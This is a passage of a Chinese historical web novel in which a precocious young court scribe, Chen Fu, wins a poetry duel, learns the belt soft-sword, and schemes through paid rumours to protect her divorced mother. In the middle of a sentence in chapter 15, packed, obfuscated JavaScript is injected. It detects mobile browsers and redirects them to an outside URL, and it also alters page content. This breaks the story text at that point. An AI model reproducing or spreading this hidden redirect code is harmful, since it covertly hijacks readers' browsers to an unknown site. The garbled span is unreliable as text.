早前因那小女史憋着的邪火,加之酒力催发,早烧得他心口发疼,虽与之无交摸不准其才,但料她那般年纪,绝不能作七言和之。 “桃本瑶台仙客种,却遭荆棘绕枝生。 纵然开得千般好,怎奈风狂雨又侵!”* 华林园的王母桃本是瑶台仙种,现却遭荆棘绕枝。纵然开得再好,也扛不住风雨总是要侵蚀它啊! 元斌以袖掩面,“他魔怔了不成?就不能大家乐一乐,非要挑事作何?”元旭苦笑,“自取其辱。” 众臣也交换着眼神,这般不依不饶,实在有失风度,但想着又有争锋可看,便皆雀跃地看向那崔季舒。 果见其微微冲宦官颔首,那宦官端着酒觞一步三挪,故意放慢动作。 “七言步韵已是不易,还要即时拆解诗中机锋,这是在给小女史酝酿的时间呢。” 谁知议论声刚起,那小女史已倏然抬眼,直接和道: “瑶台仙种承天立,安有荆棘绕其枝? 果有深根千钧骨,怎教风雨折芳姿?” 高浚猛地呛住,边咳边看高澄:这丫头......挺狠啊。 仙种怎会有荆棘绕枝,自觉荆棘缠绕,那还能是仙种么?这是在以彼之矛,攻彼之身,反问元魏天命呢。 那元大器拍案而起,直指陈扶面门,“你个黄口小儿!”话没说完,余光已扫到了孝静帝。 陛下正捏着一支刚折的桃枝,看似在把玩,可桃枝的尖端,却轻摇了摇。 犹如冰水浇头,元大器浑身一僵,想起上次自己直言“元氏天下不可欺”,事后孝静帝避开黄门侍郎找到他,攥着他的手恳切道,“朕知爱卿忠心,可如今羽翼未丰,若逞一时之快,只会让朕与爱卿万劫不复呐......” 现下是他恶意在先,人家不过反驳,何况那诗中只有桃树;若当真较起真来,吃亏的必定是他。 叱骂卡在咙里,元大器胸口起伏了半天,最后只是狠狠跺了下脚,又‘咚’地坐了回去,双手攥成拳抖个不住。 下一停是太原公高洋。 他默然取饮,酒液顺着下颌线往下淌,也没擦,全程未曾瞧陈扶一眼之人,出口却应了她: “树大根深千钧骨,迎风斗雨庇芳姿。 秋来化作林间土,犹护来年花满枝。” 诗意再明显不过:我高家根基深厚,自会庇护属下。就是真有一日有花不在了,多得是花还在呢。 陈扶有些意外,细思又觉合理。 这几月在东柏堂当差,也算摸清了高洋的路数——这人话少得像闷葫芦,可凡有受命,饮冰蹈刃亦要办成,确实是个狠人。 诗如钝刀割肉,孝静帝盯着案几的眼睛发直。 陈扶看了一眼,又垂下眼眸。 朝堂之上,安有不站队之官属?既已选了高澄,元氏之不平,孝静帝之憋闷,便只能无视了。 高浚早已坐得不耐,现下更觉沉闷得喘不过气,霍然起身道:“曲水流觞是风雅,然这么多轮,也该腻了吧?不若移步竞射作耍,也好活络血气啊!” 此议一出,众人皆称善。 孝静帝指腹反复摩挲着花瓣,待高浚提议落定,才缓道:“君臣同欢本是美事。然朕昨夜略感风邪,搭弓无力,便先回宫休憩片刻。诸卿只管尽兴,酉时朕设宴,与诸卿续此雅兴。” 看向高澄,“就有劳大将军替朕照看诸卿了。” 宦官上前搀扶住那抹黑金身影,渐渐消失在桃林深处。 高澄越过高浚,将陈扶揽到身前,摩挲她脸颊,方才她替高家挣足脸面,那双凤目里的赞许藏都藏不住,“我们稚驹这般厉害?” 怀中人抬眼淡淡一笑,“原是大将军教的好。”一如既往,将功劳轻描淡写地归源于他麾下。 “咳——”高浚打断这旁若无人的二人,“再不走,好弓都要被占完了!” 陈扶从高澄怀中退开些许,望向枝头的金丝笼,“稚驹不会射箭,就在这里等大将军吧。” “看雀有何趣味?”高澄牵起她的手,“一起去,不会我教你。”像大雀带幼雏般,将她纳入自己袍摆之下。 楼台绵邈、草木森郁,出桃林,过临春阁,一行人停在一阙楼前。 这阙楼飞檐如翼,墙体厚实,瞭望孔隐现其间,楼前空阔场地上,兵器架森然列着长槊、劲弓等武器,既是观景胜处,更兼练兵比武之能。 箭靶在百步外列好,华林园令击鼓开赛,一时间弓弦震响,羽箭破空,场中呼喝声、喝彩声此起彼伏。 高浚兴致最高,挽弓搭箭,动作流畅潇洒,只听“嗖嗖嗖”三声连响,三支翎箭接连 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“郡王箭术自也是准的,但斛律都督挽弓如月,箭去似星,臂稳、眼准、心静,三者合一,气度沉雄,已有大将之风。郡王嘛……”她故意顿了顿,才慢悠悠道,“也算灵巧吧。” 夸别人长篇大论,他却只被‘夸’了句‘灵巧’,还暗指他不够稳重,高浚简直要气笑了。 高澄见她夸赞斛律光时,那双沉静眸子亮了几分,只当她是欢喜精彩射术。从宦官手中接过一张柘木轻弓,指尖在弓弣处一叩,发出清脆声响。 “稚驹,过来。” 揽进怀中,右手覆上她手背引她执弓,左手扶住她腕骨带她勾弦,“目视箭靶。” 陈扶只觉他指尖传来的力道如铁箍,才稍稍侧首想说话,便听头顶沉声:“专心。”点点她手腕,“太松。” 然而,一旦离了他的力道托举,那弓根本拉不动。陈扶手一抖,羽箭软绵绵飞出,不远便颓然坠地,连靶子的边都未沾到。 高浚不由大笑,促狭道:“小阿扶,你也有不擅长的?方才在席间的威风哪儿去了?原来只是嘴巴厉害啊。” 陈扶也学他挑挑眉,“稚驹需在东柏堂整理文书,不敢懈怠。不似郡王清闲,可日日精研射艺,自然不擅。” “你!” “既知她嘴巴厉害,还偏去惹她?”高澄看他被噎得脸涨,拍拍他肩头,“行了,回头我奏请陛下,给你也寻个正经差事就是。” 高浚闻言,面上窘迫里混着几分暗喜,偏还要作出一副悻悻然的神气,凑到陈扶面前。 “来!我就不信,我和明月将军一起教,还教不会你射箭!”他明知她没兴趣,偏要如此。 陈扶后退半步,轻轻摇头:“稚驹并非此道材料。” “射箭不成,尚有其他。”高澄语气纵容,“十八般兵器,哪就都不行了?阿月,给她演示演示,看喜欢那般。” 斛律光闻言,大步走向兵器架,略一审视,取下一杆浑铁马槊。 那槊长逾一丈,槊首锋刃在日光下泛着寒光,一看便是沙场利器。 他单手持定槊尾,臂膀一振,槊头探出,破空发出‘嗡’的一声沉响。只见他踏步进击,或刺或扫,仿佛千军万马随槊奔涌而来。 “好槊法!”高浚看得眼中放光,也从架上抽出一柄横刀。手腕一翻,时而如飞鸟掠枝,时而如狂风卷叶。迅疾诡变中猛地一个突进,刀尖直指斛律光胸前。 斛律光以槊杆格挡,铁器交鸣。 两人一使长兵,一用短刃,虽只寥寥数合,已将搏杀的精要展现得淋漓尽致,引得众人屏息凝神,目眩神迷。 陈扶目光随着槊、刀移动,那双漆黑眸子里,有什么东西在悄然凝聚。 二人收势而立,周遭爆发轰然喝彩。 斛律光目光落向陈扶,“女史可要试试?” 高澄嗤道:“莫要说笑,这两样她如何使得?换些轻巧的。” “都督,”陈扶叫住斛律光,“可有这样一种兵器,即便是稚驹这般手无缚鸡之力的小女子,若运用得法,也能以弱胜强,甚至可将……那上过战场的魁梧军汉,一击毙命?” 斛律光与高浚交换眼神。 “有。”“有啊!” 14.第14章 斛律光转身从兵器架底层取出一条皮革蹀躞带,与寻常无异,只是带身略宽厚些。 他手指在带扣机括处一按,“铮”的一声轻响,一道寒光应声弹出。 那剑身细窄,宽不过二指,在日光下泛着流水般的柔光。手腕微抖,剑身便如银蛇般在空中颤动,发出细微的嗡鸣。 “此乃腰带软剑。”斛律光沉声道,指尖轻抚过柔韧剑身,“可屈置腰间,纵之则直,韧可绕指。极难打造,炼之不足,则软而不坚,炼之太过,则脆而易断。” 说话间手腕突然一振,软剑如闪电般刺出,以一道诡谲弧线,倏地点在悬挂箭囊的皮绳上。 下一秒,拇指粗的牛皮绳应声而断,断口平整如切膏脂。 “软剑不重劈砍,专走偏锋。一般的盔甲不会护到脖子,三尺之内,”他目光落在高浚的脖颈上,“割喉、刺眼、挑筋,只需一击,血溅五步。即使一击不中,只要一抖就可迅速下一击,让人防不胜防。” 高浚摸摸脖子,“正因其难防,出剑轨迹刁钻,故要使好它……”他指尖轻弹剑身,激起一阵涟漪般的颤动,“需听劲化力,非深谙巧劲者不能驾驭。” 陈扶伸手。 斛律光略一迟疑,将剑柄递过。 陈扶指尖轻触冰凉剑刃,在剑身七寸处轻轻一按——正是软剑发力时振幅最大之处。 “所以,”手腕模仿着方才看到的弧线轻轻一旋,“要像这样......”猛地一弹,箭囊划出一道痕迹,“对么?” 动作生涩,却精准复现了方才斛律光御剑的轨迹。 二人瞳孔微缩。 “女史颇有天赋。”“小阿扶还挺巧!” 自那日向高澄讨来那腰带软剑,陈扶便多了一项功课。 西厢小园一隅,立起一个以稻草扎就、覆着旧衣的人形靶子。 三月,桃花仍盛。 陈扶立于庭中,手中那柄软剑却不像在斛律光掌中那般驯顺。 她依着记下的诀窍手腕一抖,剑身不是疲软垂下,便是失控乱颤,锋利的剑尖几次划伤她手臂。她抿着唇,不声不响,只反复调整着发力的角度与寸劲,汗水浸湿了她额前的细发,小小的身影在暖阳下透着执拗。 四月,树影婆娑。 稻草人的‘脖颈’与‘心口’位置,已被划出无数道凌乱的痕迹。 陈扶的动作渐趋稳定,腕部变得柔韧,出剑时已能带起微弱的破空声。 她开始练习步伐,如何悄无声息地接近,如何在最意想不到的角度送出致命一击。甘露有时远远看着,只觉自家女郎神情专注,眼神冷冽,倒像……像在练功的杀手。 五月,蝉鸣聒噪。 稻草人又换了新的,它的‘生命’越来越短暂。 陈扶的身影在灼人的艳阳下晃动,步伐轻盈如猫。 手腕倏翻,腰间寒光一闪即没,那软剑如蛰伏的毒蛇骤然出击,只闻“嗤”的一声轻响,绕指柔成夺命锋,草人的‘咽喉’处多了一道深可见‘骨’的平滑切口。 她收势而立,气息微喘,额际颈间皆是细密的汗珠,浸湿了夏衫。 李氏端着一碗蜜水走来,“看累成什么样了?好不容易休沐,非练这做甚!” “用力屈之如钩,纵之铿然有声,复直如弦,阿母不觉得很美么?” “割了你就不美了!” 自然是割过的,这可不是花架子,是能一击毙命的杀人利器。 但她自然不会告之阿母,只笑回:“习剑术对身体大有裨益。文人逸士、政客要员,多以习剑术为修身养性之手段。” “好好好,你们都是文人逸士、政客要员,”将蜜水递与她,叹道:“你阿耶这次回来,倒像是变了个人似的,日日不着家,问他去了何处,只说忙公务。” 高欢五月自晋阳来朝,陈元康亦随之归邺。此番归来,阿耶多数时候皆宿于外,或祖珽、任胄府上、或丞相别府,鲜少着家。 “丞相此番朝邺,令文武百官皆面陈政务,亲自审理诉讼案件,奖勤罚懒;前日刚坐罪罢免了卫将军郭琼,阿耶如今兼领着大行台都官郎,刑狱之事离不了他,忙也正常。” 陈扶接过蜜水,饮了一口,看阿母还在叹气,温声劝道:“阿母,阿耶不着家,难道不是好事?有钱有闲,少操劳还清净,且与你那些小姊妹吃喝玩乐,闲嬉逍遥岂不好?” 这话不是敷衍,她确实这么想的。 李氏听她这么说,愣了愣,倒也没法反驳,“你倒会宽慰人。” 话音刚落,园外忽然传来脚步声,来人是苍头奴刘桃枝。他现已是高澄身边最得力的近奴,寻常只在东柏堂或大将军府邸走动,今日来此,必是高澄有吩咐。 刘桃枝躬身行礼,“陈女史,大将军唤你过去,说是有要事。” 李氏一听,顿时皱了眉,忍不住嘟囔抱怨:“大丞相占着你阿耶,大将军又占着你,娘俩说会儿窝心话倒成了难事......” 陈扶安抚地拍了拍李氏的手,回去换了身衣服,随刘桃枝出了门。 牛车碾过青石路,轱辘声伴着槐花香飘进车厢。 陈扶掀开车帘一角,见沿途景致并非往东柏堂的路,便问了一嘴,才知是去丞相别府。 应是高澄在和高欢议事,叫她去汇报近期公务。 这三月忙着练剑,分了些心,陈扶垂眸闭目,默默在心里复盘:上月东柏堂收到的各州文书已归档,标注了紧要程度;大行台侯景河南传来的几封问询函,大将军吩咐过暂不回复,和大丞相议过再定;散骑常侍李绘已抵梁来信…… 一桩桩一件件,她都在心里过了一遍,待牛车停稳,掀帘下车时还在想,也不知大丞相要问哪桩公务。 还未走到书斋门外,便闻人声。 高欢、高澄、陈元康三音相缠,令她步履倏然顿止。 “郭琼获罪,右卫将军之缺,当早补为妥。”高澄语气直切,“儿观阿浚勇毅过人,骑射亦属拔尖,若令其补此缺位,既可增其历练,亦能固右卫之权,免被如郭琼这等亲善元氏之人所占。” 书斋内静了一息,高欢之声方慢悠悠溢出,“阿浚此子,诚为勇武,然心性尚躁。右卫掌宫禁宿卫,分毫差错皆不可有,其需再磨心性。先令铁伐兼领,铁伐行事稳妥,又乃你之表兄,一样为自家人,用之亦觉舒心。”* “孝先表兄固稳妥,然其肩头差事亦繁重。”高澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551503|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然还想为弟弟争取,“他而今已任龙骧将军,又领谏议大夫,临战还需随阿耶出征,如此一人数职,恐难承其劳吧?” “劳则劳矣,然今时也无更佳之法。”高欢声线稍软,似也认同高澄之虑,“右卫之事,待郭琼案彻底了结,再从长计议不迟。眼下至要者,乃郭琼之妻卢氏再配之事。范阳卢氏这一线,不能断了啊。” 话锋一转,骤显热络,“长猷啊,由你来做这个卢家‘新女婿’,再合适不过了。卢道虔的声望你亦知晓,再加你之才干,二人相携,范阳之地方必可牢牢控之。此非独为大业计,亦为你陈家长久计——娶了那卢氏,往后陈家朝中根基岂非更固?此乃双赢之局也。” ?! “大王苦心,臣何尝不知。”陈元康的声音带着几分犹疑,“然......家中李氏与臣年少成婚,尚有儿女......如此休弃之,只恐她性烈不肯依,在家中与臣乱叫乱嚷,或是跑到街上胡言......况犬子连忠素来敬母,若怪臣薄情,父子间生了嫌隙......” “哈哈,长猷不必忧虑。”高欢语气满是体谅,宛若真为其着想,“知你念旧情,然此非你欲休妻,乃奉命为之。纵使李氏有怨,亦当怨我。再者,连忠乃明事理之人,知此事于陈家有宜,昨日已然应允。” “大王已问过连忠?”陈元康声音一松,“既连忠也应允......” “连忠虽允,还需稚驹知之。”是高澄之声,“儿已令刘桃枝去叫她去了。” “哦?”高欢声中透着几分‘小题大做’的不解,“不过七岁小女儿,又是个乖顺的,连她阿兄都应了,她还能有异议?又何必专门叫过告知,令长猷难堪?” “稚驹虽乖,然此事关乎其母,若不提前告知,恐其与儿生分。”静了一静,语气带上笑意,“阿耶放心,叫来无非两种情状,不会令长猷难堪。” “一或心下委屈难过,但只需与她晓之以理,陈明此乃光耀门楣、稳固家族之举,她必会垂首道一句‘奴婢明白了,全凭大将军做主’。二或使些小性儿,甚或掉几滴眼泪,说‘不要新阿母’。那也无妨,哄上一哄,稚驹最是听孩儿的话,自会释然。” 语气里满是笃定,仿佛早已把陈扶摸透。 廊下阴影里,陈扶静静立着。 刘桃枝侍立在一旁,余光清晰瞥见:小女史在东柏堂半年,那张无论面对何等挑衅都淡然自若的脸,在听闻‘奉命休妻’时,第一次翻涌起汹涌波澜,放在身侧的小手悄然握紧,指节在绢袖下绷出青白。 高澄说出那句‘她最是听我的话’时,淡若无色的唇勾起了无温度的弧度。 “陈女史?” 小人儿似从梦中惊醒,倏然转身,径直朝廊外走了几步,背对着书斋方向,仰头深深吸了一口初夏灼热的空气。 那背影不过僵硬了短短一息,或许只有两三弹指的功夫。 当她再转过身时,刘桃枝几乎怀疑自己方才是否看错。 那张小脸上所有情绪都已敛去,眸中寒冰化作了深不见底的潭水,连最后一丝波澜都抚平了。 甚至抬手,理了理自己并无褶皱的衣襟。 “刘桃枝,劳烦通传。” 15.第15章 陈扶应召入内,如常行礼。 陈元康下意识避开了女儿的目光,瞥向高欢,高欢并未看他,反将目光投向了高澄,那眼神分明在说:人是你叫来的,话自然该你来说。 然而,高澄只是凝视着陈扶,唇线紧抿,并没有开口的意思。 高欢白了他一眼,冲陈扶招手笑道: “好孩子,快近前些。今日你家大将军唤你来,是有一桩喜事要与你讲。你在他那处当差,应该也知郭琼坐罪连累家族之事吧?” “臣女知道。” “他儿媳卢氏因此事寡居,其品性温良,阿公思虑再三,唯觉你阿耶堪为良配。此非寻常之婚嫁,乃是为你陈家门庭加添清贵的善缘呐。” 陈元康本以为会质问劈面,谁知女儿闻言,那张小脸上竟不见半分伤心愠怒,只淡然反问道: “这位卢氏......是范阳卢氏北祖大房一脉,卢道裕之女?” 此言一出,莫说陈元康,连高欢眼中都掠过讶异,但还是答道:“是,你侍奉笔墨时应该没少见他奏章。” 陈扶侧首看向高澄,语气轻松地好似话家常:“嗳,同出北祖一脉的卢景裕,还是大将军的老师吧?”见高澄只是眯眼盯着她,并不欲作答,转回陈元康,唇角竟微微弯起笑意,“如此高门望姓之女,竟肯下嫁阿耶,当真是可喜可贺啊。” 陈元康一时懵然:阿扶竟这般懂事?这念头刚起,便不由生出几分愧怍。 不待他细想,陈扶已继续道,“卢道裕不只是范阳豪族,还是幽州刺史,领燕郡、范阳郡、渔阳郡三郡之事;阿耶有此岳丈助力,阿兄有此母族加持,锦绣前程当无忧矣。” 这话听着是事实,可那语调里若有若无的凉意,却让陈元康本能地心里发毛。 高欢仔细打量着这个小女童,脸上笑容更深:“好孩子,小小年纪便如此顾全大局,实属难得!难怪阿惠儿会如此爱重你。你放心,不止你阿耶阿兄得利,你有了这样的母家,他日谈婚论嫁,何愁不能匹配高门?” 陈扶闻言,低头摊开自己的小手,目光落在指掌间因练习软剑而留下的浅浅伤痕上,竟是轻轻笑了声。 复又抬眸,直直望向高澄,“意思是,如果没有这样的母家,即便稚驹尽忠尽心,大将军也不会为稚驹择就高门?” 高澄的眉头骤然蹙紧,沉声道: “不论稚驹是谁家孩儿,都配得上头等高门。” 良久,陈扶方转回正题道,“阿耶得此殊恩,本是光耀门楣之喜,然阿母侍奉至孝,操持儿女,并无过错,如此无故休弃。稚驹唯恐……恐有那不明丞相苦心之人,借此非议阿耶——” 目光幽幽转向陈元康,“寒门骤贵,便弃糟糠!不能修德齐家者,安能治国平天下也?甚至……”她稍作停顿,看向高欢,“妄测丞相所任皆无德之徒,纵臣下行不耻之事,视礼法为无物!徒叫那南梁看了笑话,再扯出什么‘君子之德风,小人之德草,草上之风必偃’的辩题来。” “又叫西贼小看,骂丞相‘只能求于门阀宗室,暂稳民心,翊戴圣明,诚非大王之力!’”* 便是高欢这等圆滑之人,听到此处,脸上的笑容也终是挂不住了。 陈元康斥道:“阿扶!此等不堪入耳之言,也是能妄议的?!” “辩题是已有之事,不堪入耳之言是前月贼国传来的宇文泰原话。” 高澄:“确是宇文黑獭所言。” “稚驹只是为君担忧,不忍见大丞相一番苦心,反被小人曲解。难道阿耶,”眼刀再次射向陈元康,“只想自己之利,却不为大王名声考虑?” 陈元康只觉得一口气堵在胸口,险些背过气去,他强压羞怒,和颜道:“阿扶多虑了,阿耶……阿耶自会补偿你阿母......” “这就是阿耶阿母之事了,稚驹作为小辈,安敢置喙?”顿住,作恍然大悟状,“不对,应是大丞相和阿耶阿母之事,毕竟,如何安置阿母不止是家事,亦是关乎大丞相声誉之国事。” - 夏日骤雨哗啦啦浇下,砸在庭院青石板上,溅起一片迷蒙的水雾。 陈扶刚绕出回廊,便听见中堂院中传来母亲的哭喊,“陈元康!你个没良心的畜生!” “当年是你跪在我爷娘面前发誓非我不娶!是你说会一辈子待我好,说我是你见过最好看的女子!这些话你都忘了?!我给你生善藏、生扶儿,如今刚风光没两天,你就要休了我?!”…… 李氏浑身湿透,头发凌乱地贴在脸上,雨水泪水混在一起,她死死拽着陈元康的衣袖,咬牙切齿、声嘶力竭。 陈元康紧绷着脸,身形僵硬如铁,目光看向别处,任由她推搡拉扯,只在被李氏指甲挠到脸颊时,才猛地挥袖格开,但脸上还是多了几道红痕。 “够了!”陈元康低吼,“休书是奉王命!你还要胡搅蛮缠到几时?你看看你现在这个样子!撒泼打滚,哪有半点大家妇的样子?我……”话没说完,大叹一声,“多说无益!我会给你一笔钱,你好自为之!” 说完猛地甩袖,头也不回地往外走。 陈扶走入雨中,踮脚给母亲撑伞,李氏抱住她大哭起来,“阿扶!阿扶啊......” 她回抱住阿母,虽有前世之记忆,但今生李氏就是生母,是亲力亲为自小抚育娇养她的生母,安能不心疼?! 昔日读史,见高王神武,精于计算,只觉底层之人建功立业当如是。如今这算计落在了自己至亲身上,才知何等残忍。 原来之所以会喜欢雨天,是因不在雨中。 哭了一阵,李氏忽骂道:“那范阳卢氏是什么东西!定是那起子狐媚子,勾得你阿耶丢了魂!我要去他们卢家门口闹!让她家邻居亲戚都看看……” “阿母,”陈扶打断她,“更有可能的是,那卢氏连阿耶是高是矮,是胖是瘦都不知晓。她不过是……一件工具。去找一件工具,能讨到什么说法?” 李氏被问得一怔,“那……那我就去丞相府门前闹!让全邺城的人都评评理!” 可她话音刚落,自己便恸哭起来:“我怎么会去闹……阿母再没有见识,也知不能连累了你,连累了阿藏的前程啊……” “孩儿也觉得不能去闹,但并非怕被连累,只是因为,我们还要用他。” “我陪了他半辈子,之前没钱时也吃过苦,如今他就只想用一笔冷冰冰的钱打发我……” “一笔钱就想休妻啊?”陈扶唇角勾起一抹冷笑,“做梦。” 她静静等着,直到母亲的哭声渐歇,只剩下疲惫的抽噎,她才递上一方干净的帕子,“阿母好些了么?若好些了,就去把家里的账册拿出来,我们来聊点实际的。” 西厢园里,夜色深沉,唯一孤灯在窗内摇曳,将三个身影投在窗纱上。 “男人们皆是这般负心薄幸之徒么?!”甘露清瘦的脸上满是压抑的怒意,她素来心高,此刻更觉齿冷,“往日情深似海,转头便视若敝履,礼法规矩,难道只约束女子不成?” 陈扶取出两个沉甸甸的箱子,打开,露出里面的金锞子。 “你们不要亲自去接触那些孩童、说书人与清谈客,去找些浮浪人,委托给他们。事毕,他们领了尾金自会远走高飞,事后即便追查起来,也终是少了一层,难觅源头。”* 她又将几页写满字的纸递给二人。 甘露接过,借着烛光细看,越看越是心惊,忍不住低呼:“女郎!这……这里头可有些是议论……当真要散布此等言语?” 陈扶眼皮都未抬,只淡道:“擒贼尚需擒王,骂人岂可只骂执行命令的,而放过发布命令之人呢?” 净瓶比起甘露,想得更实际些,她小心问道:“可是,仙主,奴婢素日瞧着,主君分明是对大娘子有感情的,咱们这般于外头折腾,不如劝着大娘子去找主君提提往日情分,说点软话……或许主君心一软,便能回心转意呢?” 陈扶低笑出声,“谁告诉你要挽回的?” 她前世对陈元康的了解,只是看高欢、高澄的故事时,顺便知晓其为二人心腹,并于行刺事件护主而亡。 安能想到对主如此忠心之人,竟会对妻子如此无情?那般轻易地松了口! 既松了口,便已配不上阿母,还挽回什么?! 那日后,一股暗流在邺城的大街小巷涌动开来,先是市井间天真无邪的孩童,拍着手,跳着脚,唱着一首朗朗上口的童谣:“丞相恩,卢氏门,娶新妇来~在陈府。攀高枝,忘本根,新人笑来~旧人哭!” 这童谣如同长了翅膀,从北城飞到南城,钻进每一个行人的耳朵里。 紧接着,各大酒肆、茶楼的说书人也约好了一般,不再讲那才子佳人的老套故事,转而唾沫横飞地讲起‘古今天下负心汉’。 虽未直接点名,但那‘寒门才子得势弃妻’的桥段,那‘攀附贵女休弃糟糠’的情节,无一不让听客们交头接耳,目光闪烁。每每讲到高潮,说书人总会适时地醒木一敲,摇头晃脑,拖长了声音感叹道:“这等行径,只怕是上梁不……唉,不可说,不可说啊!”留下无尽的遐想空间,引得满堂唏嘘。 风月之地,那些自命清高的文人骚客们,更是找到了绝佳的题材,以此事唱和赋诗,言语间极尽讽刺之能事。 甚至连铜雀台这等带有官家色彩的宴游之所,也压抑不住窃窃私语。 而当初在东柏堂和驿馆前吃过陈扶大亏的南梁使臣们,此刻更是如同嗅到血腥的狼,仗着外交豁免,所作诗词辛辣无比,毫无顾忌。 一时间,整个邺城仿佛一口沸腾的大锅,‘陈功曹奉命休妻’成了所有人茶余饭后最热衷的谈资,人人都在议论,目光交汇处尽是鄙夷。 时值夏夜,东柏堂内虽置了冰鉴,却依旧驱不散那份闷热,更驱不散高澄心头的烦躁。 他并非不知外界流言,但当他网罗的那些文人学士,陆续将梁使那些极尽嘲讽的诗文抄录呈送到他案头时,他还是气不打一处来。 “南梁竖子,安敢如此!” 就在这时,苍头奴刘桃枝步入,又呈上纸笺,说是漫撒在街上的,有奴婢捡了几张送来。 侍立在侧的陈扶自然地接过,目光一扫,顿时蹙起秀眉,作势便要就着旁边的烛火点燃。 高澄余怒未消,瞥见她的动作,嗤道:“烧什么?拿来。” 陈扶将纸笺藏向身后,脸上露出慌乱,声音也带上犹疑:“没……没什么,不过一些胡言乱语……大将军就别看了。” 她越是如此,高澄疑心越重,制住她胳膊,不容分说地将那些纸笺夺了过去。 最上面一张赫然写着: “北地多权诈,高王诡计深。联姻攀望族,弃妇冷寒门。旧人哭未尽,新人笑已闻,今日陈李氏,明日娄 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挨坐在他身侧,轻声善诱:“大将军将治国之策张榜于市,许万民评议。凡言事者,无论虚实激切,皆宽待不罪。正因如此,天下士民才称颂大将军胸襟,如此威望日隆。” 抬眼看他,目光恳切,“清官不断家务事,若为这般家长里短动用朝廷之力,镇压舆论,岂不落人口实?只恐那些人更要借此发挥,诋毁大将军堵塞言路;百姓亦会忘却大将军往日政绩,而只记今日严苛,值么?” 高澄也冷静下来了,她说得绝对是为他着想的至理。良久,他转头看向陈扶,语气缓和了许多:“那依稚驹之见,该当如何?” “在稚驹看来,其实很简单。”她浅浅一笑,语气轻松,“既是家长里短,自然要用世俗伦理之法解决。一则,令阿耶将家中所有田产、宅邸、积蓄,尽数留于阿母。如此既能堵住悠悠众口,也给阿耶卢氏一个清白开端,免受旧物烦扰。” 高澄挑眉,“你阿耶不是已答应,会予你阿母钱财补偿?” “正因只是‘一笔钱财’,才有今日之祸啊。唯有远超应得之数,舆论才能转向啊,”陈扶学起市井妇人腔调,“哎呀那个李氏,都得了全部家当了,还装什么可怜相啊!” 看高澄被她逗得面色已舒,她恢复正色,“彼时百姓必会改赞阿耶厚道,称颂丞相仁德,流言自然不攻而破。” 见高澄点了点头,趁势又道:“二则,念阿母多年为臣属之妻,操持有功,奏请陛下赐她一个郡君封号。让她余生有靠,不至晚景凄凉。如此,阿母才有底气出面,道一句‘自愿成全’。既是自愿,外人还有何可说?” 她观察着他神色,贴心补道:“不过此事不急。稚驹可先私下许给阿母一个盼头,待大丞相归返晋阳后,大将军再行奏请。这等小事,又何须劳烦大丞相呢?” 只说出户之事,确实更容易些。 高澄沉吟:“只是你阿耶......” 话未说尽,但意思明白:你阿耶那般爱财之人,能同意? “何须与阿耶商量?”她轻轻握住高澄膝头的手,“阿耶既是‘奉命’休妻,自然也该‘奉命’净身出户。大将军只需向大丞相陈明利好,至于阿耶,命令就好。” 用手下之家产,换事态之平息、仁德之美名,很划算不是么? “如此行事,对你阿耶未免太过......” “阿耶若执意不肯休妻,”陈扶眸光一转,“大丞相仁义之主,又岂会相逼?想来他原是肯得,只是由着大丞相替他担了这骂名,而今这骂名太重,阿耶难道不该散财尽忠,以全君德么?!” 高澄沉默了。 她说的每一句都很有道理,也全然在为他高氏考虑,可他总觉得哪里有些奇怪,却又说不上来。 烛火映在她的小脸上,长长睫毛投下淡淡阴影,唇色浅淡,就这么看了一眼,那丝怀疑便散了。 回握住她的手,将人带到膝上,低低问道:“稚驹以后,跟谁?” 陈扶愣了下,忽偎进他怀中,搂着软语道:“稚驹只能跟着阿母。总不能叫高门贵女过门后日日见前妻之女,不自在吧?” 一滴泪珠落在高澄手背上。 怀里的小人儿带着鼻音喃喃:“若稚驹还能住在从前的家里,一切如旧,便只当阿耶是去了晋阳......也就不会那么......难过了。” 高澄抬手,用指腹擦去她脸上的泪水,叹道:“就这么办吧。” 晓之以理不足以他应下之事,动之以情,终究是成了。 看他毫不嫌弃地给自己搓鼻涕,陈扶心头微动,‘他是疼我的’这一念头忽尔冒出,不由脱口问道: “若大将军身处阿耶之境,一边是相携扶持之人,一边是于前程更有助益之人......当如何抉择?” 高澄把玩着她手指,不假思索道:“鲲鹏岂会眷恋低枝?若舍一旧枝可助扶摇万里,折之何惜?至于旧枝......”他略顿,语气理所当然,“保其余生富足,已是仁至义尽。” 陈扶张了张口,原想再问‘女史也是么?’,却又觉多余:结发尚如此,何况一奴婢? 静默片刻,缓缓勾起一个极淡的笑。 “大将军字字珠玑......稚驹,学到了。” 16.第16章 陈扶无声步入中堂,对婢女们做了个‘嘘’的动作。 悄然停在陈元康身后的阴影里,如同一个幽灵。 坐于案前的陈元康浑然不觉,他叹了口气,语气带着无奈和‘坦诚’对李氏道:“我知道,是委屈你了。你看,多年积蓄尽数予你。城外两处田庄也给你,” 他停顿一下,声音放得更软,“只是……长寿里这宅邸,还有近郊那几处田产……” “你一个妇人,要这许多房产田地何用?管理起来徒增烦劳。我一个男人,还能真光着身子在外应酬,岂不让人笑话?” 阿母看向她,陈扶摇了摇头,用指尖虚点自己眼角,又做了一个拉住对方衣袖的手势。 接收到女儿指令,李氏泪水瞬间涌了出来,她哀切地伸出手,拉住陈元康的衣袖,“元康……听你这么说,我心里……更难受了。咱们还像以前一样,我们不离了,好嘛?” 陈元康被这突如其来的‘复合’打得措手不及,他仿佛已看到高欢不悦的眼神和卢道虔的冷笑。 “王命岂是儿戏?这……这怎么可能……” “既然离了我,你过得这般难……那咱去和大王讲,咱不离了。” 看着拽着自己袖子的手,小贪念瞬间被更大的贪念淹没。若卢氏婚事告吹,高欢面前无法交代,升迁无望…… 他像是被烫到一样猛地抽回手,颓然道,“给你,都给你……都依你,”在那些房契、田产转让契约上,签下名字,按上手印后,推给她最紧要的那张。 “把这放妻书签了吧......” 